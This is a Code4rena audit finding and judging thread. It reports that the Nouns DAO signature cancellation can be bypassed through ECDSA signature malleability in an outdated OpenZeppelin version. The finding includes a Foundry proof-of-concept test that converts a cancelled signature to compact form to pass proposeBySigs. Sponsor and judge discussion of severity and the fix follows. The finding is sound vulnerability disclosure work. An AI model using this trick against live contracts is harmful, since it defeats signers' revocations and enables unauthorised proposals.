cancelSig will not completely cancel signatures due to malleability vulnerabilities

[code423n4]

Lines of code

https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/NounsDAOV3Proposals.sol#L270-L275
https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/NounsDAOV3Proposals.sol#L983

Vulnerability details

Impact

The current version of openzeppelin contracts has a high risk of vulnerability about signature malleability attack: OpenZeppelin/openzeppelin-contracts#3610.
So if the signer only cancel one signature, the malicious proposer can still extend a fully valid signature through the previous signature to pass the proposal.

Proof of Concept

// CancelProposalBySigs.t.sol
contract TestSignatureMalleabilityAttack is ZeroState {
    function setUp() public virtual override {
        super.setUp();

        (signerWithVote, signerWithVotePK) = makeAddrAndKey('signerWithVote');

        vm.startPrank(minter);
        nounsToken.mint();
        nounsToken.transferFrom(minter, signerWithVote, 1);
        vm.roll(block.number + 1);
        vm.stopPrank();

        NounsDAOV3Proposals.ProposalTxs memory txs = makeTxs(makeAddr('target'), 0, '', '');
        uint256 expirationTimestamp = block.timestamp + 1234;
        NounsDAOStorageV3.ProposerSignature[] memory proposerSignatures = new NounsDAOStorageV3.ProposerSignature[](1);
        bytes memory signature = signProposal(proposer, signerWithVotePK, txs, 'description', expirationTimestamp, address(dao));
        vm.prank(signerWithVote);
        dao.cancelSig(signature);

        proposerSignatures[0] = NounsDAOStorageV3.ProposerSignature(
            signature,
            signerWithVote,
            expirationTimestamp
        );
        vm.expectRevert(abi.encodeWithSelector(NounsDAOV3Proposals.SignatureIsCancelled.selector));
        vm.prank(proposer);
        proposalId = dao.proposeBySigs(
            proposerSignatures,
            txs.targets,
            txs.values,
            txs.signatures,
            txs.calldatas,
            'description'
        );

        proposerSignatures[0] = NounsDAOStorageV3.ProposerSignature(
            to2098Format(signature),
            signerWithVote,
            expirationTimestamp
        );
        vm.prank(proposer);
        proposalId = dao.proposeBySigs(
            proposerSignatures,
            txs.targets,
            txs.values,
            txs.signatures,
            txs.calldatas,
            'description'
        );

        vm.roll(block.number + 1);

        assertEq(uint256(dao.state(proposalId)), uint256(NounsDAOStorageV3.ProposalState.Updatable));
    }

    // Copy from https://github.com/pcaversaccio/malleable-signatures/blob/1f618f556c0af48c44d27c7dbf1f97dc898ceda9/test/SignatureMalleability.t.sol#L78
    error InvalidSignatureLength();
    error InvalidSignatureSValue();
    function to2098Format(bytes memory signature) internal view returns (bytes memory) {
        if (signature.length != 65) revert InvalidSignatureLength();
        if (uint8(signature[32]) >> 7 == 1) revert InvalidSignatureSValue();
        bytes memory short = slice(signature, 0, 64);
        uint8 parityBit = uint8(short[32]) | ((uint8(signature[64]) % 27) << 7);
        short[32] = bytes1(parityBit);
        return short;
    }

    // Copy from https://github.com/GNSPS/solidity-bytes-utils/blob/6458fb2780a3092bc756e737f246be1de6d3d362/contracts/BytesLib.sol#L228
    function slice(
        bytes memory _bytes,
        uint256 _start,
        uint256 _length
    )
        internal
        pure
        returns (bytes memory)
    {
        require(_length + 31 >= _length, "slice_overflow");
        require(_bytes.length >= _start + _length, "slice_outOfBounds");

        bytes memory tempBytes;

        assembly {
            switch iszero(_length)
            case 0 {
                // Get a location of some free memory and store it in tempBytes as
                // Solidity does for memory variables.
                tempBytes := mload(0x40)

                // The first word of the slice result is potentially a partial
                // word read from the original array. To read it, we calculate
                // the length of that partial word and start copying that many
                // bytes into the array. The first word we copy will start with
                // data we don't care about, but the last `lengthmod` bytes will
                // land at the beginning of the contents of the new array. When
                // we're done copying, we overwrite the full first word with
                // the actual length of the slice.
                let lengthmod := and(_length, 31)

                // The multiplication in the next line is necessary
                // because when slicing multiples of 32 bytes (lengthmod == 0)
                // the following copy loop was copying the origin's length
                // and then ending prematurely not copying everything it should.
                let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
                let end := add(mc, _length)

                for {
                    // The multiplication in the next line has the same exact purpose
                    // as the one above.
                    let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
                } lt(mc, end) {
                    mc := add(mc, 0x20)
                    cc := add(cc, 0x20)
                } {
                    mstore(mc, mload(cc))
                }

                mstore(tempBytes, _length)

                //update free-memory pointer
                //allocating the array padded to 32 bytes like the compiler does now
                mstore(0x40, and(add(mc, 31), not(31)))
            }
            //if we want a zero-length slice let's just return a zero-length array
            default {
                tempBytes := mload(0x40)
                //zero out the 32 bytes slice we are about to return
                //we need to do it because Solidity does not garbage collect
                mstore(tempBytes, 0)

                mstore(0x40, add(tempBytes, 0x20))
            }
        }

        return tempBytes;
    }

    function testAttack() public {}
}

forge test --match-test testAttack -vvvv --ffi

Tools Used

Foundry

Recommended Mitigation Steps

Update openzeppelin contracts to the new version

Assessed type

Library

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[eladmallel]

Fix PR here: nounsDAO/nouns-monorepo#761

However, think severity should not be high. The worst case here is a signature abuse leads to a proposal going on chain, still subject to the proposal lifecycle, including quorum and voting.

[c4-sponsor]

eladmallel marked the issue as sponsor confirmed

[c4-sponsor]

eladmallel marked the issue as disagree with severity

[davidbrai]

Another point regarding severity:
The signer can also move their tokens to another address as a way to make the previous signature not useful.

[c4-judge]

gzeon-c4 changed the severity to 2 (Med Risk)

[gzeon-c4]

Downgrading to Low since no asset will be at risk and require an user error.

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 changed the severity to QA (Quality Assurance)

[c4-judge]

gzeon-c4 marked the issue as grade-b

[c4-judge]

This previously downgraded issue has been upgraded by gzeon-c4

[gzeon-c4]

It is worth to note this is atypical in code4rena judging, and should not be considered as a precedence for future contests. Signature malleability, or outdated OZ dependency are generally considered as out-of-scope in c4 contests as they are covered by the bot report. This report is special in the sense that while the project already used the recommended OZ ECDSA library, the specific version they used contained a bug that allow malleability, which the warden provided a POC with meaningful impact. I am keeping this as Medium risk for the above reason and sponsor opinion.

[c4-judge]

gzeon-c4 marked the issue as selected for report